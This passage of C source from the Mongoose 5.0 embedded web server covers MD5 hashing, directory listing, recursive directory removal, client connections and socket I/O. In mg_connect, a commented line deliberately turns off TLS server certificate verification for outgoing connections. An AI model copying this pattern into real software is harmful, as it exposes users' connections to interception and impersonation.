MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}
static void MD5Update(MD5_CTX *ctx, unsigned char const *buf, unsigned len) {
uint32_t t;
t = ctx->bits[0];
if ((ctx->bits[0] = t + ((uint32_t) len << 3)) < t)
ctx->bits[1]++;
ctx->bits[1] += len >> 29;
t = (t >> 3) & 0x3f;
if (t) {
unsigned char *p = (unsigned char *) ctx->in + t;
t = 64 - t;
if (len < t) {
memcpy(p, buf, len);
return;
}
memcpy(p, buf, t);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
buf += t;
len -= t;
}
while (len >= 64) {
memcpy(ctx->in, buf, 64);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
buf += 64;
len -= 64;
}
memcpy(ctx->in, buf, len);
}
static void MD5Final(unsigned char digest[16], MD5_CTX *ctx) {
unsigned count;
unsigned char *p;
uint32_t *a;
count = (ctx->bits[0] >> 3) & 0x3F;
p = ctx->in + count;
*p++ = 0x80;
count = 64 - 1 - count;
if (count < 8) {
memset(p, 0, count);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
memset(ctx->in, 0, 56);
} else {
memset(p, 0, count - 8);
}
byteReverse(ctx->in, 14);
a = (uint32_t *)ctx->in;
a[14] = ctx->bits[0];
a[15] = ctx->bits[1];
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
byteReverse((unsigned char *) ctx->buf, 4);
memcpy(digest, ctx->buf, 16);
memset((char *) ctx, 0, sizeof(*ctx));
}
#endif // !HAVE_MD5
#include "internal.h"
static void print_dir_entry(const struct de *de) {
char size[64], mod[64], href[PATH_MAX * 3];
const char *slash = de->file.is_directory ? "/" : "";
if (de->file.is_directory) {
mg_snprintf(size, sizeof(size), "%s", "[DIRECTORY]");
} else {
// We use (signed) cast below because MSVC 6 compiler cannot
// convert unsigned __int64 to double. Sigh.
if (de->file.size < 1024) {
mg_snprintf(size, sizeof(size), "%d", (int) de->file.size);
} else if (de->file.size < 0x100000) {
mg_snprintf(size, sizeof(size),
"%.1fk", (double) de->file.size / 1024.0);
} else if (de->file.size < 0x40000000) {
mg_snprintf(size, sizeof(size),
"%.1fM", (double) de->file.size / 1048576);
} else {
mg_snprintf(size, sizeof(size),
"%.1fG", (double) de->file.size / 1073741824);
}
}
strftime(mod, sizeof(mod), "%d-%b-%Y %H:%M",
localtime(&de->file.modification_time));
mg_url_encode(de->file_name, href, sizeof(href));
de->conn->num_bytes_sent += mg_chunked_printf(de->conn,
"<tr><td><a href=\"%s%s%s\">%s%s</a></td>"
"<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
de->conn->request_info.uri, href, slash, de->file_name, slash, mod, size);
}
// This function is called from send_directory() and used for
// sorting directory entries by size, or name, or modification time.
// On windows, __cdecl specification is needed in case if project is built
// with __stdcall convention. qsort always requires __cdels callback.
static int WINCDECL compare_dir_entries(const void *p1, const void *p2) {
const struct de *a = (const struct de *) p1, *b = (const struct de *) p2;
const char *query_string = a->conn->request_info.query_string;
int cmp_result = 0;
if (query_string == NULL) {
query_string = "na";
}
if (a->file.is_directory && !b->file.is_directory) {
return -1; // Always put directories on top
} else if (!a->file.is_directory && b->file.is_directory) {
return 1; // Always put directories on top
} else if (*query_string == 'n') {
cmp_result = strcmp(a->file_name, b->file_name);
} else if (*query_string == 's') {
cmp_result = a->file.size == b->file.size ? 0 :
a->file.size > b->file.size ? 1 : -1;
} else if (*query_string == 'd') {
cmp_result = a->file.modification_time == b->file.modification_time ? 0 :
a->file.modification_time > b->file.modification_time ? 1 : -1;
}
return query_string[1] == 'd' ? -cmp_result : cmp_result;
}
static int must_hide_file(struct mg_connection *conn, const char *path) {
const char *pw_pattern = "**" PASSWORDS_FILE_NAME "$";
const char *pattern = conn->ctx->config[HIDE_FILES];
return match_prefix(pw_pattern, strlen(pw_pattern), path) > 0 ||
(pattern != NULL && match_prefix(pattern, strlen(pattern), path) > 0);
}
static int scan_directory(struct mg_connection *conn, const char *dir,
void *data, void (*cb)(struct de *, void *)) {
char path[PATH_MAX];
struct dirent *dp;
DIR *dirp;
struct de de;
if ((dirp = opendir(dir)) == NULL) {
return 0;
} else {
de.conn = conn;
while ((dp = readdir(dirp)) != NULL) {
// Do not show current dir and hidden files
if (!strcmp(dp->d_name, ".") ||
!strcmp(dp->d_name, "..") ||
must_hide_file(conn, dp->d_name)) {
continue;
}
mg_snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
// If we don't memset stat structure to zero, mtime will have
// garbage and strftime() will segfault later on in
// print_dir_entry(). memset is required only if mg_stat()
// fails. For more details, see
// http://code.google.com/p/mongoose/issues/detail?id=79
memset(&de.file, 0, sizeof(de.file));
mg_stat(path, &de.file);
de.file_name = dp->d_name;
cb(&de, data);
}
(void) closedir(dirp);
}
return 1;
}
static int remove_directory(struct mg_connection *conn, const char *dir) {
char path[PATH_MAX];
struct dirent *dp;
DIR *dirp;
struct de de;
if ((dirp = opendir(dir)) == NULL) {
return 0;
} else {
de.conn = conn;
while ((dp = readdir(dirp)) != NULL) {
// Do not show current dir, but show hidden files
if (!strcmp(dp->d_name, ".") ||
!strcmp(dp->d_name, "..")) {
continue;
}
mg_snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
// If we don't memset stat structure to zero, mtime will have
// garbage and strftime() will segfault later on in
// print_dir_entry(). memset is required only if mg_stat()
// fails. For more details, see
// http://code.google.com/p/mongoose/issues/detail?id=79
memset(&de.file, 0, sizeof(de.file));
mg_stat(path, &de.file);
if(de.file.modification_time) {
if(de.file.is_directory) {
remove_directory(conn, path);
} else {
mg_remove(path);
}
}
}
(void) closedir(dirp);
rmdir(dir);
}
return 1;
}
struct dir_scan_data {
struct de *entries;
int num_entries;
int arr_size;
};
// Behaves like realloc(), but frees original pointer on failure
static void *realloc2(void *ptr, size_t size) {
void *new_ptr = realloc(ptr, size);
if (new_ptr == NULL) {
free(ptr);
}
return new_ptr;
}
static void dir_scan_callback(struct de *de, void *data) {
struct dir_scan_data *dsd = (struct dir_scan_data *) data;
if (dsd->entries == NULL || dsd->num_entries >= dsd->arr_size) {
dsd->arr_size *= 2;
dsd->entries = (struct de *) realloc2(dsd->entries, dsd->arr_size *
sizeof(dsd->entries[0]));
}
if (dsd->entries == NULL) {
// TODO(lsm): propagate an error to the caller
dsd->num_entries = 0;
} else {
dsd->entries[dsd->num_entries].file_name = mg_strdup(de->file_name);
dsd->entries[dsd->num_entries].file = de->file;
dsd->entries[dsd->num_entries].conn = de->conn;
dsd->num_entries++;
}
}
static void handle_directory_request(struct mg_connection *conn,
const char *dir) {
int i, sort_direction;
struct dir_scan_data data = { NULL, 0, 128 };
if (!scan_directory(conn, dir, &data, dir_scan_callback)) {
send_http_error(conn, 500, "Cannot open directory",
"Error: opendir(%s): %s", dir, strerror(ERRNO));
return;
}
sort_direction = conn->request_info.query_string != NULL &&
conn->request_info.query_string[1] == 'd' ? 'a' : 'd';
conn->must_close = 1;
mg_printf(conn, "%s",
"HTTP/1.1 200 OK\r\n"
"Transfer-Encoding: Chunked\r\n"
"Content-Type: text/html; charset=utf-8\r\n\r\n");
conn->num_bytes_sent += mg_chunked_printf(conn,
"<html><head><title>Index of %s</title>"
"<style>th {text-align: left;}</style></head>"
"<body><h1>Index of %s</h1><pre><table cellpadding=\"0\">"
"<tr><th><a href=\"?n%c\">Name</a></th>"
"<th><a href=\"?d%c\">Modified</a></th>"
"<th><a href=\"?s%c\">Size</a></th></tr>"
"<tr><td colspan=\"3\"><hr></td></tr>",
conn->request_info.uri, conn->request_info.uri,
sort_direction, sort_direction, sort_direction);
// Print first entry - link to a parent directory
conn->num_bytes_sent += mg_chunked_printf(conn,
"<tr><td><a href=\"%s%s\">%s</a></td>"
"<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
conn->request_info.uri, "..", "Parent directory", "-", "-");
// Sort and print directory entries
qsort(data.entries, (size_t) data.num_entries, sizeof(data.entries[0]),
compare_dir_entries);
for (i = 0; i < data.num_entries; i++) {
print_dir_entry(&data.entries[i]);
free(data.entries[i].file_name);
}
free(data.entries);
conn->num_bytes_sent += mg_chunked_printf(conn, "%s",
"</table></body></html>");
conn->num_bytes_sent += mg_write(conn, "0\r\n\r\n", 5);
conn->status_code = 200;
}
// For a given PUT path, create all intermediate subdirectories
// for given path. Return 0 if the path itself is a directory,
// or -1 on error, 1 if OK.
static int put_dir(const char *path) {
char buf[PATH_MAX];
const char *s, *p;
struct file file = STRUCT_FILE_INITIALIZER;
int len, res = 1;
for (s = p = path + 2; (p = strchr(s, '/')) != NULL; s = ++p) {
len = p - path;
if (len >= (int) sizeof(buf)) {
res = -1;
break;
}
memcpy(buf, path, len);
buf[len] = '\0';
// Try to create intermediate directory
DEBUG_TRACE(("mkdir(%s)", buf));
if (!mg_stat(buf, &file) && mg_mkdir(buf, 0755) != 0) {
res = -1;
break;
}
// Is path itself a directory?
if (p[1] == '\0') {
res = 0;
}
}
return res;
}
#include "internal.h"
static SOCKET conn2(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len) {
struct sockaddr_in sin;
struct hostent *he = NULL;
SOCKET sock = INVALID_SOCKET;
(void) use_ssl; // Prevent warning for -DNO_SSL case
if (host == NULL) {
snprintf(ebuf, ebuf_len, "%s", "NULL host");
#ifndef NO_SSL
} else if (use_ssl && SSLv23_client_method == NULL) {
snprintf(ebuf, ebuf_len, "%s", "SSL is not initialized");
// TODO(lsm): use something threadsafe instead of gethostbyname()
#endif
} else if ((he = gethostbyname(host)) == NULL) {
snprintf(ebuf, ebuf_len, "gethostbyname(%s): %s", host, strerror(ERRNO));
} else if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
snprintf(ebuf, ebuf_len, "socket(): %s", strerror(ERRNO));
} else {
set_close_on_exec(sock);
sin.sin_family = AF_INET;
sin.sin_port = htons((uint16_t) port);
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) != 0) {
snprintf(ebuf, ebuf_len, "connect(%s:%d): %s",
host, port, strerror(ERRNO));
closesocket(sock);
sock = INVALID_SOCKET;
}
}
return sock;
}
struct mg_connection *mg_connect(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len) {
static struct mg_context fake_ctx;
struct mg_connection *conn = NULL;
SOCKET sock;
if ((sock = conn2(host, port, use_ssl, ebuf, ebuf_len)) == INVALID_SOCKET) {
} else if ((conn = (struct mg_connection *)
calloc(1, sizeof(*conn) + MAX_REQUEST_SIZE)) == NULL) {
snprintf(ebuf, ebuf_len, "calloc(): %s", strerror(ERRNO));
closesocket(sock);
#ifndef NO_SSL
} else if (use_ssl && (conn->client_ssl_ctx =
SSL_CTX_new(SSLv23_client_method())) == NULL) {
snprintf(ebuf, ebuf_len, "SSL_CTX_new error");
closesocket(sock);
free(conn);
conn = NULL;
#endif // NO_SSL
} else {
socklen_t len = sizeof(struct sockaddr);
conn->buf_size = MAX_REQUEST_SIZE;
conn->buf = (char *) (conn + 1);
conn->ctx = &fake_ctx;
conn->client.sock = sock;
getsockname(sock, &conn->client.rsa.sa, &len);
conn->client.is_ssl = use_ssl;
#ifndef NO_SSL
if (use_ssl) {
// SSL_CTX_set_verify call is needed to switch off server certificate
// checking, which is off by default in OpenSSL and on in yaSSL.
SSL_CTX_set_verify(conn->client_ssl_ctx, 0, 0);
sslize(conn, conn->client_ssl_ctx, SSL_connect);
}
#endif
}
return conn;
}
struct mg_connection *mg_download(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len,
const char *fmt, ...) {
struct mg_connection *conn;
const char *msg = NULL;
va_list ap;
va_start(ap, fmt);
if ((conn = mg_connect(host, port, use_ssl, ebuf, ebuf_len)) == NULL) {
} else if (mg_vprintf(conn, fmt, ap) <= 0) {
snprintf(ebuf, ebuf_len, "%s", "Error sending request");
} else {
msg = getreq(conn);
}
if (msg != NULL && conn != NULL) {
mg_close_connection(conn);
conn = NULL;
}
return conn;
}
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited
// All rights reserved
//
// This library is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// You are free to use this library under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>.
#if defined(_WIN32)
#undef _UNICODE
#define _MBCS
#if !defined(_CRT_SECURE_NO_WARNINGS)
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
#endif
#else
#ifdef __linux__
#define _XOPEN_SOURCE 600 // For flockfile() on Linux
#endif
#if !defined(_LARGEFILE_SOURCE)
#define _LARGEFILE_SOURCE // Enable 64-bit file offsets
#endif
#define __STDC_FORMAT_MACROS // <inttypes.h> wants this for C++
#define __STDC_LIMIT_MACROS // C++ wants that for INT64_MAX
#endif
#if defined (_MSC_VER)
// conditional expression is constant: introduced by FD_SET(..)
#pragma warning (disable : 4127)
// non-constant aggregate initializer: issued due to missing C99 support
#pragma warning (disable : 4204)
#endif
// Disable WIN32_LEAN_AND_MEAN.
// This makes windows.h always include winsock2.h
#ifdef WIN32_LEAN_AND_MEAN
#undef WIN32_LEAN_AND_MEAN
#endif
#ifndef _WIN32_WCE // Some ANSI #includes are not available on Windows CE
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#endif // !_WIN32_WCE
#include <time.h>
#include <stdlib.h>
#include <stdarg.h>
#include <assert.h>
#include <string.h>
#include <ctype.h>
#include <limits.h>
#include <stddef.h>
#include <stdio.h>
#if defined(_WIN32) // Windows specific
#undef _WIN32_WINNT
#define _WIN32_WINNT 0x0400 // To make it link in VS2005
#include <windows.h>
#ifndef PATH_MAX
#define PATH_MAX MAX_PATH
#endif
#ifndef _WIN32_WCE
#include <process.h>
#include <direct.h>
#include <io.h>
#else // _WIN32_WCE
#define NO_CGI // WinCE has no pipes
typedef long off_t;
#define errno GetLastError()
#define strerror(x) _ultoa(x, (char *) _alloca(sizeof(x) *3 ), 10)
#endif // _WIN32_WCE
#define MAKEUQUAD(lo, hi) ((uint64_t)(((uint32_t)(lo)) | \
((uint64_t)((uint32_t)(hi))) << 32))
#define RATE_DIFF 10000000 // 100 nsecs
#define EPOCH_DIFF MAKEUQUAD(0xd53e8000, 0x019db1de)
#define SYS2UNIX_TIME(lo, hi) \
(time_t) ((MAKEUQUAD((lo), (hi)) - EPOCH_DIFF) / RATE_DIFF)
// Visual Studio 6 does not know __func__ or __FUNCTION__
// The rest of MS compilers use __FUNCTION__, not C99 __func__
// Also use _strtoui64 on modern M$ compilers
#if defined(_MSC_VER) && _MSC_VER < 1300
#define STRX(x) #x
#define STR(x) STRX(x)
#define __func__ __FILE__ ":" STR(__LINE__)
#define strtoull(x, y, z) (unsigned __int64) _atoi64(x)
#define strtoll(x, y, z) _atoi64(x)
#else
#define __func__ __FUNCTION__
#define strtoull(x, y, z) _strtoui64(x, y, z)
#define strtoll(x, y, z) _strtoi64(x, y, z)
#endif // _MSC_VER
#define ERRNO GetLastError()
#define NO_SOCKLEN_T
#define SSL_LIB "ssleay32.dll"
#define CRYPTO_LIB "libeay32.dll"
#define O_NONBLOCK 0
#if !defined(EWOULDBLOCK)
#define EWOULDBLOCK WSAEWOULDBLOCK
#endif // !EWOULDBLOCK
#define _POSIX_
#define INT64_FMT "I64d"
#define WINCDECL __cdecl
#define SHUT_WR 1
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define mg_sleep(x) Sleep(x)
#define pipe(x) _pipe(x, MG_BUF_LEN, _O_BINARY)
#ifndef popen
#define popen(x, y) _popen(x, y)
#endif
#ifndef pclose
#define pclose(x) _pclose(x)
#endif
#define close(x) _close(x)
#define dlsym(x,y) GetProcAddress((HINSTANCE) (x), (y))
#define RTLD_LAZY 0
#define fseeko(x, y, z) _lseeki64(_fileno(x), (y), (z))
#define fdopen(x, y) _fdopen((x), (y))
#define write(x, y, z) _write((x), (y), (unsigned) z)
#define read(x, y, z) _read((x), (y), (unsigned) z)
#define flockfile(x)
#define funlockfile(x)
#define sleep(x) Sleep((x) * 1000)
#define rmdir(x) _rmdir(x)
#if !defined(va_copy)
#define va_copy(x, y) x = y
#endif // !va_copy MINGW #defines va_copy
#if !defined(fileno)
#define fileno(x) _fileno(x)
#endif // !fileno MINGW #defines fileno
typedef HANDLE pthread_mutex_t;
typedef DWORD pthread_t;
#define pid_t HANDLE // MINGW typedefs pid_t to int. Using #define here.
static int pthread_mutex_lock(pthread_mutex_t *);
static int pthread_mutex_unlock(pthread_mutex_t *);
static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len);
#if defined(HAVE_STDINT)
#include <stdint.h>
#else
typedef unsigned int uint32_t;
typedef unsigned short uint16_t;
typedef unsigned __int64 uint64_t;
typedef __int64 int64_t;
#define INT64_MAX 9223372036854775807
#endif // HAVE_STDINT
// POSIX dirent interface
struct dirent {
char d_name[PATH_MAX];
};
typedef struct DIR {
HANDLE handle;
WIN32_FIND_DATAW info;
struct dirent result;
} DIR;
struct pollfd {
SOCKET fd;
short events;
short revents;
};
#define POLLIN 1
#ifdef HAVE_POLL
#define poll(x, y, z) WSAPoll((x), (y), (z))
#endif
// Mark required libraries
#ifdef _MSC_VER
#pragma comment(lib, "Ws2_32.lib")
#endif
#else // UNIX specific
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <stdint.h>
#include <inttypes.h>
#include <netdb.h>
#include <pwd.h>
#include <unistd.h>
#include <dirent.h>
#if !defined(NO_SSL_DL) && !defined(NO_SSL)
#include <dlfcn.h>
#endif
#include <pthread.h>
#if defined(__MACH__)
#define SSL_LIB "libssl.dylib"
#define CRYPTO_LIB "libcrypto.dylib"
#else
#if !defined(SSL_LIB)
#define SSL_LIB "libssl.so"
#endif
#if !defined(CRYPTO_LIB)
#define CRYPTO_LIB "libcrypto.so"
#endif
#endif
#ifndef O_BINARY
#define O_BINARY 0
#endif // O_BINARY
#define closesocket(a) close(a)
#define mg_mkdir(x, y) mkdir(x, y)
#define mg_remove(x) remove(x)
#define mg_sleep(x) usleep((x) * 1000)
#define ERRNO errno
#define INVALID_SOCKET (-1)
#define INT64_FMT PRId64
typedef int SOCKET;
#define WINCDECL
#endif // End of Windows and UNIX specific includes
#include "mongoose.h"
#define MONGOOSE_VERSION "5.0"
#define PASSWORDS_FILE_NAME ".htpasswd"
#define CGI_ENVIRONMENT_SIZE 4096
#define MAX_CGI_ENVIR_VARS 64
#define MG_BUF_LEN 8192
#define MAX_REQUEST_SIZE 16384
#define ARRAY_SIZE(array) (sizeof(array) / sizeof(array[0]))
typedef SOCKET sock_t;
#ifdef DEBUG_TRACE
#undef DEBUG_TRACE
#define DEBUG_TRACE(x)
#else
#if defined(DEBUG)
#define DEBUG_TRACE(x) do { \
flockfile(stdout); \
printf("*** %lu.%p.%s.%d: ", \
(unsigned long) time(NULL), (void *) pthread_self(), \
__func__, __LINE__); \
printf x; \
putchar('\n'); \
fflush(stdout); \
funlockfile(stdout); \
} while (0)
#else
#define DEBUG_TRACE(x)
#endif // DEBUG
#endif // DEBUG_TRACE
// Darwin prior to 7.0 and Win32 do not have socklen_t
#ifdef NO_SOCKLEN_T
typedef int socklen_t;
#endif // NO_SOCKLEN_T
#define _DARWIN_UNLIMITED_SELECT
#define IP_ADDR_STR_LEN 50 // IPv6 hex string is 46 chars
#if !defined(MSG_NOSIGNAL)
#define MSG_NOSIGNAL 0
#endif
#if !defined(SOMAXCONN)
#define SOMAXCONN 100
#endif
#if !defined(PATH_MAX)
#define PATH_MAX 4096
#endif
// Size of the accepted socket queue
#if !defined(MGSQLEN)
#define MGSQLEN 20
#endif
// Extra HTTP headers to send in every static file reply
#if !defined(EXTRA_HTTP_HEADERS)
#define EXTRA_HTTP_HEADERS ""
#endif
static const char *http_500_error = "Internal Server Error";
#if defined(NO_SSL_DL)
#include <openssl/ssl.h>
#include <openssl/err.h>
#else
// SSL loaded dynamically from DLL.
// I put the prototypes here to be independent from OpenSSL source installation.
typedef struct ssl_st SSL;
typedef struct ssl_method_st SSL_METHOD;
typedef struct ssl_ctx_st SSL_CTX;
struct ssl_func {
const char *name; // SSL function name
void (*ptr)(void); // Function pointer
};
#define SSL_free (* (void (*)(SSL *)) ssl_sw[0].ptr)
#define SSL_accept (* (int (*)(SSL *)) ssl_sw[1].ptr)
#define SSL_connect (* (int (*)(SSL *)) ssl_sw[2].ptr)
#define SSL_read (* (int (*)(SSL *, void *, int)) ssl_sw[3].ptr)
#define SSL_write (* (int (*)(SSL *, const void *,int)) ssl_sw[4].ptr)
#define SSL_get_error (* (int (*)(SSL *, int)) ssl_sw[5].ptr)
#define SSL_set_fd (* (int (*)(SSL *, SOCKET)) ssl_sw[6].ptr)
#define SSL_new (* (SSL * (*)(SSL_CTX *)) ssl_sw[7].ptr)
#define SSL_CTX_new (* (SSL_CTX * (*)(SSL_METHOD *)) ssl_sw[8].ptr)
#define SSLv23_server_method (* (SSL_METHOD * (*)(void)) ssl_sw[9].ptr)
#define SSL_library_init (* (int (*)(void)) ssl_sw[10].ptr)
#define SSL_CTX_use_PrivateKey_file (* (int (*)(SSL_CTX *, \
const char *, int)) ssl_sw[11].ptr)
#define SSL_CTX_use_certificate_file (* (int (*)(SSL_CTX *, \
const char *, int)) ssl_sw[12].ptr)
#define SSL_CTX_set_default_passwd_cb \
(* (void (*)(SSL_CTX *, mg_event_handler_t)) ssl_sw[13].ptr)
#define SSL_CTX_free (* (void (*)(SSL_CTX *)) ssl_sw[14].ptr)
#define SSL_load_error_strings (* (void (*)(void)) ssl_sw[15].ptr)
#define SSL_CTX_use_certificate_chain_file \
(* (int (*)(SSL_CTX *, const char *)) ssl_sw[16].ptr)
#define SSLv23_client_method (* (SSL_METHOD * (*)(void)) ssl_sw[17].ptr)
#define SSL_pending (* (int (*)(SSL *)) ssl_sw[18].ptr)
#define SSL_CTX_set_verify (* (void (*)(SSL_CTX *, int, int)) ssl_sw[19].ptr)
#define SSL_shutdown (* (int (*)(SSL *)) ssl_sw[20].ptr)
#define CRYPTO_num_locks (* (int (*)(void)) crypto_sw[0].ptr)
#define CRYPTO_set_locking_callback \
(* (void (*)(void (*)(int, int, const char *, int))) crypto_sw[1].ptr)
#define CRYPTO_set_id_callback \
(* (void (*)(unsigned long (*)(void))) crypto_sw[2].ptr)
#define ERR_get_error (* (unsigned long (*)(void)) crypto_sw[3].ptr)
#define ERR_error_string (* (char * (*)(unsigned long,char *)) crypto_sw[4].ptr)
#endif // NO_SSL_DL
// Unified socket address. For IPv6 support, add IPv6 address structure
// in the union u.
union usa {
struct sockaddr sa;
struct sockaddr_in sin;
#if defined(USE_IPV6)
struct sockaddr_in6 sin6;
#endif
};
// Describes a string (chunk of memory).
struct vec {
const char *ptr;
size_t len;
};
struct file {
int is_directory;
time_t modification_time;
int64_t size;
// set to 1 if the content is gzipped
// in which case we need a content-encoding: gzip header
int gzipped;
};
#define STRUCT_FILE_INITIALIZER { 0, 0, 0, 0 }
// Describes listening socket, or socket which was accept()-ed by the master
// thread and queued for future handling by the worker thread.
struct socket {
SOCKET sock; // Listening socket
union usa lsa; // Local socket address
union usa rsa; // Remote socket address
unsigned is_ssl:1; // Is port SSL-ed
unsigned ssl_redir:1; // Is port supposed to redirect everything to SSL port
};
// NOTE(lsm): this enum shoulds be in sync with the config_options.
enum {
CGI_EXTENSIONS, CGI_ENVIRONMENT, PUT_DELETE_PASSWORDS_FILE, CGI_INTERPRETER,
PROTECT_URI, AUTHENTICATION_DOMAIN, SSI_EXTENSIONS,
ACCESS_LOG_FILE, ENABLE_DIRECTORY_LISTING, ERROR_LOG_FILE,
GLOBAL_PASSWORDS_FILE, INDEX_FILES, ENABLE_KEEP_ALIVE, ACCESS_CONTROL_LIST,
EXTRA_MIME_TYPES, LISTENING_PORTS, DOCUMENT_ROOT, SSL_CERTIFICATE,
NUM_THREADS, RUN_AS_USER, REWRITE, HIDE_FILES, REQUEST_TIMEOUT,
NUM_OPTIONS
};
struct mg_context {
volatile int stop_flag; // Should we stop event loop
SSL_CTX *ssl_ctx; // SSL context
char *config[NUM_OPTIONS]; // Mongoose configuration parameters
mg_event_handler_t event_handler; // User-defined callback function
void *user_data; // User-defined data
struct socket *listening_sockets;
int num_listening_sockets;
int num_threads; // Number of threads
sock_t ctl[2]; // Socket pair for inter-thread communication
};
struct mg_connection {
struct mg_request_info request_info;
struct mg_event event;
struct mg_context *ctx;
SSL *ssl; // SSL descriptor
SSL_CTX *client_ssl_ctx; // SSL context for client connections
struct socket client; // Connected client
time_t birth_time; // Time when request was received
int64_t num_bytes_sent; // Total bytes sent to client
int64_t content_len; // Content-Length header value
int64_t num_bytes_read; // Bytes read from a remote socket
char *buf; // Buffer for received data
char *path_info; // PATH_INFO part of the URL
int must_close; // 1 if connection must be closed
int buf_size; // Buffer size
int request_len; // Size of the request + headers in a buffer
int data_len; // Total size of data in a buffer
int status_code; // HTTP reply status code, e.g. 200
};
// Directory entry
struct de {
struct mg_connection *conn;
char *file_name;
struct file file;
};
static FILE *mg_fopen(const char *path, const char *mode);
static int mg_stat(const char *path, struct file *filep);
static void send_http_error(struct mg_connection *, int, const char *,
PRINTF_FORMAT_STRING(const char *fmt), ...)
PRINTF_ARGS(4, 5);
static void cry(struct mg_connection *conn,
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(2, 3);
static const char *getreq(struct mg_connection *conn);
#ifdef USE_LUA
#include "lua_5.2.1.h"
static int handle_lsp_request(struct mg_connection *, const char *,
struct file *, struct lua_State *);
#endif
#include "internal.h"
// Return number of bytes left to read for this connection
static int64_t left_to_read(const struct mg_connection *conn) {
return conn->content_len + conn->request_len - conn->num_bytes_read;
}
// Write data to the IO channel - opened file descriptor, socket or SSL
// descriptor. Return number of bytes written.
static int64_t push(FILE *fp, SOCKET sock, SSL *ssl, const char *buf,
int64_t len) {
int64_t sent;
int n, k;
(void) ssl; // Get rid of warning
sent = 0;
while (sent < len) {
// How many bytes we send in this iteration
k = len - sent > INT_MAX ? INT_MAX : (int) (len - sent);
#if !defined(NO_SSL)
if (ssl != NULL) {
n = SSL_write(ssl, buf + sent, k);
} else
#endif
if (fp != NULL) {
n = (int) fwrite(buf + sent, 1, (size_t) k, fp);
if (ferror(fp))
n = -1;
} else {
n = send(sock, buf + sent, (size_t) k, MSG_NOSIGNAL);
}
if (n <= 0)
break;
sent += n;
}
return sent;
}
// Read from IO channel - opened file descriptor, socket, or SSL descriptor.
// Return negative value on error, or number of bytes read on success.
static int pull(FILE *fp, struct mg_connection *conn, char *buf, int len) {
int nread;
if (len <= 0) return 0;
if (fp != NULL) {
// Use read() instead of fread(), because if we're reading from the CGI
// pipe, fread() may block until IO buffer is filled up. We cannot afford
// to block and must pass all read bytes immediately to the client.
nread = read(fileno(fp), buf, (size_t) len);
#ifndef NO_SSL
} else if (conn->ssl != NULL) {
nread = SSL_read(conn->ssl, buf, len);
#endif
} else {
nread = recv(conn->client.sock, buf, (size_t) len, 0);
}
if (nread > 0) {
conn->num_bytes_read += nread;
}
return conn->ctx->stop_flag ? -1 : nread;
}
static int pull_all(FILE *fp, struct mg_connection *conn, char *buf, int len) {
int n, nread = 0;
